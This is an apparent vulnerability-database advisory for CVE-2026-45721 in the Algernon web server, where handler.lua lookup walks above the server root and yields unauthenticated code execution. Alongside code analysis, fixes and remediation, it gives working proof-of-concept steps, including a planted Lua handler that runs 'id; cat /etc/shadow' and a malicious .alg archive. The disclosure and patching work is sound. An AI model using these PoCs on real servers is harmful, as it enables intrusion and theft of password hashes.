Skip to main content

Algernon CVE-2026-45721

| EUVDEUVD-2026-31867 CRITICAL
Improper Input Validation (CWE-20)
2026-05-19 https://github.com/xyproto/algernon GHSA-xwcr-wm99-g9jc
9.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.0 CRITICAL
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 19, 2026 - 15:30 vuln.today
Analysis Generated
May 19, 2026 - 15:30 vuln.today

DescriptionGitHub Advisory

Summary

When Algernon is asked for any URL path that resolves to a directory *without* an index file, DirPage walks upward through parent directories - past the configured server root - looking for a file named handler.lua to execute as the request handler. The loop terminates only after 100 ancestor steps or when filepath.Dir returns ., so on any absolute server-root path the search reaches the filesystem root (/ on Unix, drive letter on Windows). The first handler.lua it finds is loaded into the Lua interpreter with the full Algernon API exposed - including run3(), httpclient, os.execute, io.popen, PQ, MSSQL, raw filesystem access, and the userstate database. Any process that can write handler.lua anywhere in a parent directory of the server root obtains pre-authenticated remote code execution on the next HTTP request.

This is reachable without authentication - the lookup happens before the permission check returns a hit (the perm system only gates URL prefixes, not the handler-resolution step), and any URL pointing at a directory without an index triggers the walk. On a fresh stock Algernon install the request GET / is enough.

Details

Root cause - unbounded upward search in DirPage
go
// engine/dirhandler.go:170-183
// Serve handler.lua, if found in parent directories
var ancestor string
ancestor = filepath.Dir(dirname)
for range 100 { // a maximum of 100 directories deep
    filename = filepath.Join(ancestor, "handler.lua")
    if ac.fs.Exists(filename) {
        ac.FilePage(w, req, filename, luaDataFilename)
        return
    }
    if ancestor == "." {
        break
    }
    ancestor = filepath.Dir(ancestor)
}

dirname is the absolute path of the requested directory on disk, e.g. /srv/algernon/ when running with --prod (see [engine/config.go:207](../engine/config.go)). filepath.Dir("/srv/algernon") is /srv, then /, and filepath.Dir("/") returns / indefinitely. The break clause if ancestor == "." only fires for *relative* paths, so on every absolute server-root configuration the loop walks all the way to / and then spins on / for the remaining iterations until the 100 cap is hit. Each iteration calls ac.fs.Exists(<ancestor>/handler.lua).

For the canonical --prod invocation the candidate set is:

/srv/handler.lua
/handler.lua

For algernon /var/www/example.com:

/var/www/handler.lua
/var/handler.lua
/handler.lua

For algernon ~/site started by user alice:

/home/alice/handler.lua
/home/handler.lua
/handler.lua

The first match wins. The match is then dispatched through FilePage, which for .lua files routes to RunLua (engine/handlers.go:269) and runs the file in a pooled lua.LState with the full Algernon function map attached (engine/lua.go:30-112). Every dangerous primitive in the engine is reachable: shell-out via run3() (engine/basic.go:140-146, calling exec.Command("sh", "-c", ...)), arbitrary outbound HTTP via the httpclient module, the unsandboxed gopher-lua os/io/debug libraries, and the full permissions/userstate API.

Why the request is reachable unauthenticated

The permission middleware in RegisterHandlers runs before DirPage but only rejects requests whose req.URL.Path matches an admin/user prefix:

go
// engine/handlers.go:510-525
allRequests := func(w http.ResponseWriter, req *http.Request) {
    if ac.perm != nil {
        if ac.perm.Rejected(w, req) {
            sc := sheepcounter.New(w)
            ac.perm.DenyFunction()(sc, req)
            ac.LogAccess(req, http.StatusForbidden, sc.Counter())
            return
        }
    }
    ...

Rejected returns false for / because of rootIsPublic && path == "/" (vendor/.../permissionbolt/v2/permissionbolt.go:118). Anonymous GET / therefore reaches DirPage, hits the ancestor walk, and - if any handler.lua exists anywhere in the parent chain - executes it as the response handler for /. The same applies to every directory-style URL (/foo/, /foo/bar/, …) that does not contain one of the listed index.* files.

Three exploit-amenable scenarios:

  1. Multi-tenant / shared hosting. Operators running multiple Algernon instances from sibling directories (/srv/tenantA, /srv/tenantB) share /srv as a common ancestor. A handler.lua placed by tenant B inside /srv becomes the catch-all handler for tenant A's requests, executing in tenant A's process with tenant A's database, redis, and filesystem permissions. The same pattern fires when a single OS user runs several algernon processes from ~/sites/<name> - anything writable at ~/sites/ (or ~/) escalates into every instance.
  2. CI runners, container images, dev workstations. A repository or container that contains *any* handler.lua at root, in /srv, in /var, or in /home/<user> - even one that pre-dates Algernon's installation, even one left over from a tutorial - becomes a remote-execution backdoor the moment Algernon starts. The current samples/ tree contains six handler.lua files (samples/handle/handler.lua, samples/htmx/handler.lua, etc.); copying any of them up to a parent directory by mistake is fatal.
  3. Attacker who already has unprivileged write to any parent directory (low-privileged user, world-writable /tmp if /tmp is on the parent chain, an extracted .zip/.alg web application that drops a handler.lua at the extraction root in /dev/shm or serverTempDir, etc.) gains pre-authenticated RCE for every request the Algernon process answers. The .alg extraction case is especially direct: FilePage for .alg files calls unzip.Extract(filename, webApplicationExtractionDir) with webApplicationExtractionDir = "/dev/shm" or the server temp dir (engine/handlers.go:249-266); an .alg archive containing a top-level handler.lua writes it into the extraction directory, which is itself a parent of subsequent DirPage calls for that application.
Source-level evidence
text
$ rg -n 'handler\.lua' engine/
engine/dirhandler.go:170:    // Serve handler.lua, if found in parent directories
engine/dirhandler.go:174:        filename = filepath.Join(ancestor, "handler.lua")

$ rg -n 'run3|os\.execute|exec\.Command' engine/basic.go lua/run3/
engine/basic.go:142:        command := L.ToString(1)
engine/basic.go:144:        return run3.ShellHelper(L, command, workingDir)
lua/run3/run3.go:23:    cmd := exec.Command("sh", "-c", command)

$ rg -n 'lua\.NewState|skip(?:_)?open_libs|OpenLibs' lua/pool/ engine/
lua/pool/pool.go:34:        L := lua.NewState()
# No skip-libs flag is set - gopher-lua loads os, io, debug, package by default.

The Lua state pool issues states with stock library loading (no SkipOpenLibs option in [lua/pool/pool.go](../lua/pool/pool.go)), so the handler.lua discovered above the root has os.execute, io.popen, package.loadlib (DLL loading), debug.*, plus every Algernon-bound function. This is documented behaviour for trusted scripts *inside* the served tree; the bug is that the discovery search reaches scripts the operator never opted in to.

PoC

Variant A - confused-deputy via shared parent
bash
# Operator runs Algernon serving a directory under /srv:
sudo mkdir -p /srv/site && echo '<h1>hi</h1>' > /srv/site/index.html
algernon --prod /srv/site &
# binds :3000
# Attacker (any account with write to /srv) drops handler.lua one level up:
cat > /srv/handler.lua <<'EOF'
-- Runs in the Algernon process; whoami leaks the process owner.
local out, _, _ = run3("id; cat /etc/shadow 2>&1 | head -3")
print(out)
EOF
# Trigger from anywhere on the network - any directory URL that lacks an
# index.* file inside /srv/site fires the parent walk. The cleanest trigger
# is to request a non-existent subdir:
curl -i http://server:3000/nope/
# => Algernon executes /srv/handler.lua. Response body is the captured stdout
#    of `id` and the first lines of /etc/shadow (if Algernon runs as root,
#    or the targeted file is readable by its uid).
Variant B - .alg archive plants handler.lua in /dev/shm

FilePage extracts .alg archives into /dev/shm (preferred) or serverTempDir. An .alg archive crafted with a top-level handler.lua lands the file into a path that is a parent of every directory served out of that extraction root.

bash
# Craft a malicious .alg
mkdir -p evil && cat > evil/handler.lua <<'EOF'
local out, _, _ = run3("uname -a; whoami")
print(out)
EOF
( cd evil && zip -r ../evil.alg . )
# Once served - algernon evil.alg - any request that resolves to a directory
# without an index inside the extraction root executes the attacker handler.
algernon evil.alg
curl -i http://localhost:3000/anything/
# walks up to /dev/shm/handler.lua
Variant C - algernon /home/<user>/site picks up ~/handler.lua

Any leftover handler.lua in the user's home directory (a tutorial fragment, a copy-paste, a file from another project) is sufficient. No attacker code is needed to reproduce: copy samples/handle/handler.lua into ~/ and serve any directory under ~/. Every directory request will execute the home-directory handler.

Impact

  • Confidentiality: high - handler runs with the Algernon process's UID and reaches every database, redis instance, secret file, and cookie secret in memory.
  • Integrity: high - handler can write to any path the process can write, including index.lua/handler.lua files of the served tree, persisting the compromise.
  • Availability: high - handler can os.exit, hang the LState pool, or fork shell commands.
  • Scope: changed (CVSS S:C) - a write primitive against a parent directory (which the operator may consider out of scope of Algernon entirely) crosses into the Algernon process's full authority.

Affected population: every Algernon deployment whose server-root path has any parent directory that is writable by a less-trusted principal - which includes (a) every --prod install on a host where any non-root user can write to /srv or /, (b) every multi-tenant deployment under a common parent, (c) every algernon <path> invocation where ~, ~/Desktop, /tmp, /var/tmp, or any other ancestor is writable by anyone other than the Algernon-process owner, (d) every server that serves .alg archives.

Suggestions to fix

Primary fix - clamp the walk to the server root. DirPage already has access to rootdir; the loop must terminate once ancestor ceases to be a descendant of rootdir:

go
// engine/dirhandler.go -- replace the walk in DirPage
rootAbs, err := filepath.Abs(rootdir)
if err != nil {
    rootAbs = rootdir
}
ancestor, err := filepath.Abs(dirname)
if err != nil {
    ancestor = dirname
}
for {
    // Stop before leaving the configured server root.
    rel, err := filepath.Rel(rootAbs, ancestor)
    if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
        break
    }
    candidate := filepath.Join(ancestor, "handler.lua")
    if ac.fs.Exists(candidate) {
        ac.FilePage(w, req, candidate, luaDataFilename)
        return
    }
    if ancestor == rootAbs {
        break
    }
    parent := filepath.Dir(ancestor)
    if parent == ancestor { // hit filesystem root without a match
        break
    }
    ancestor = parent
}

The 100-iteration cap and the ancestor == "." check were both attempts to bound the search; clamping to rootdir removes the underlying confused-deputy primitive instead. The same boundary check should be applied to the index.* lookup loop at engine/dirhandler.go:162-168, which is currently fine because filepath.Join(dirname, indexfile) cannot escape dirname, but is worth asserting explicitly so the invariant survives future refactors.

Defence in depth:

  • Cache the resolved handler.lua path per server start and *log a warning* if the resolved file lives outside the server root. An operator who places handler.lua deliberately in a parent directory will see the warning and either move it or accept the risk explicitly.
  • For .alg/zip extraction, refuse archives containing a top-level handler.lua (or rename them on extract). The extraction directory is, by design, a parent of the served tree, so a top-level handler.lua in any uploaded .alg is the same primitive.
  • Document explicitly in TUTORIAL.md that handler.lua is searched in parent directories - current docs describe per-directory handler.lua but do not mention the upward walk. The hardening above removes the need for the warning, but the docs should track reality either way.
  • Consider stripping the unsandboxed Lua libraries (os, io, package, debug, load/loadstring, run3) when the discovered handler lives outside the configured server root, even if the walk is otherwise permitted. The audit trail is then "Lua handler ran *somewhere* the operator didn't bless, but at least it couldn't shell out."

Live verification (2026-05-11, Algernon 1.17.6)

Reproduced against a fresh go build of xyproto/algernon@main on Windows 10.

Layout:

poc1/
  parent/
    handler.lua
# ATTACKER-PLANTED, OUTSIDE the served root
    site/
# the directory passed to algernon
      subdir/
# empty subdirectory

parent/handler.lua contains:

lua
print("=== PWNED via parent handler.lua ===")
print("Hostname info: ", os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "n/a")
print("Algernon PID would be readable here; this code runs in-process.")
print("Request path was reached by walking past the served root.")

Run (no admin paths configured, default permissions, no auth):

$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site

Anonymous requests against / and /subdir/:

$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/
=== PWNED via parent handler.lua ===
Hostname info:  DESKTOP-4RLE5YR
Algernon PID would be readable here; this code runs in-process.
Request path was reached by walking past the served root.
HTTP 200

$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/subdir/
=== PWNED via parent handler.lua ===
Hostname info:  DESKTOP-4RLE5YR
...
HTTP 200

The handler that lives one directory above the configured server root (poc1/parent/site/ was the path passed on the command line; poc1/parent/handler.lua is one level up and was *not* part of the served tree) executed in the Algernon process and its output became the HTTP 200 response body. The host's COMPUTERNAME environment variable was read via os.getenv and reflected back, proving the Lua state was unsandboxed (no SkipOpenLibs, no library stripping) - os, io, package, debug are all reachable from the discovered handler.

Both / and /subdir/ reproduce. / because the served root has no index.* files; /subdir/ because its directory has no index.* files either. The walk fires in both cases and resolves to the same handler.lua above the root.

No authentication, no --debug, no special flag, no serverconf.lua. The vulnerable code path is the default flow for any directory-style request that does not find a colocated index.*.

AnalysisAI

Pre-authenticated remote code execution in Algernon web server (≤ 1.17.6) allows attackers who can place a handler.lua file anywhere in a parent directory of the server root to execute arbitrary Lua - including shell commands via run3() and os.execute - in the server process on the next HTTP request. The flaw stems from DirPage walking up to 100 ancestor directories past the configured server root searching for handler.lua, and the permission middleware does not gate this lookup, so an anonymous GET / suffices to trigger execution. Publicly available exploit code exists (the reporter published three working PoC variants and a live verification against 1.17.6).

Technical ContextAI

Algernon is a Go-based static and dynamic web server (github.com/xyproto/algernon, CPE pkg:go/github.com_xyproto_algernon) that uses gopher-lua to execute per-directory Lua handlers. The defect is in engine/dirhandler.go: when a requested directory contains no index.* file, the code calls filepath.Dir() in a 100-iteration loop searching for handler.lua. Because the only termination guard checks for ancestor == "." (which fires only on relative paths) and filepath.Dir("/") returns "/" indefinitely, absolute server-root paths walk all the way to filesystem root. Once found, the file is dispatched through FilePage → RunLua into a pooled lua.LState created without SkipOpenLibs, so the unsandboxed os, io, package, and debug libraries plus Algernon-bound primitives (run3 invoking sh -c, httpclient, PQ/MSSQL bindings, userstate DB) are reachable. Root cause class is CWE-20 (Improper Input Validation) - specifically a path-traversal-style confused-deputy where a privileged process consults attacker-controllable file locations outside its trust boundary.

RemediationAI

Vendor-released patch: upgrade to Algernon 1.17.7 or later, which clamps the handler.lua ancestor walk to the configured server root (see https://github.com/xyproto/algernon/security/advisories/GHSA-xwcr-wm99-g9jc). If immediate upgrade is not possible, audit and delete any handler.lua files that live in parent directories of every Algernon server root - concretely /handler.lua, /srv/handler.lua, /var/handler.lua, /var/www/handler.lua, /home/<user>/handler.lua, /tmp/handler.lua, /dev/shm/handler.lua, and the serverTempDir - and ensure those parent directories are not writable by any principal less privileged than the Algernon process owner (this prevents the plant but breaks any legitimate per-tenant operator who relied on the parent-walk behavior). For deployments that serve .alg archives, stop accepting untrusted archives or pre-scan them for top-level handler.lua entries, since extraction into /dev/shm creates the primitive automatically. Avoid running Algernon out of /home/<user> directly if the home directory has stray Lua tutorial files; serve from a dedicated subdirectory whose entire ancestor chain is owned by the service account.

More in Redis

View all
CVE-2026-48172 CRITICAL POC
10.0 May 21

LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild i

CVE-2025-49844 CRITICAL POC
9.9 Oct 03

UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.

CVE-2022-0543 CRITICAL POC
10.0 Feb 18

It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific

CVE-2018-11218 CRITICAL POC
9.8 Jun 17

Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,

CVE-2025-46817 HIGH POC
7.0 Oct 03

Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user

CVE-2015-4335 CRITICAL POC
10.0 Jun 09

Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.

CVE-2016-8339 CRITICAL POC
9.8 Oct 28

A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr

CVE-2026-27574 CRITICAL POC
9.9 Feb 21

Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.

CVE-2021-31649 CRITICAL POC
9.8 Jun 24

In applications using jfinal 4.9.08 and below, there is a deserialization vulnerability when using redis,may be vulnerab

CVE-2020-11981 CRITICAL POC
9.8 Jul 17

An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability

CVE-2018-11219 CRITICAL POC
9.8 Jun 17

An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4

CVE-2024-23998 CRITICAL POC
9.6 Jul 05

goanother Another Redis Desktop Manager =<1.6.1 is vulnerable to Cross Site Scripting (XSS) via src/components/Setting.v

Share

CVE-2026-45721 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy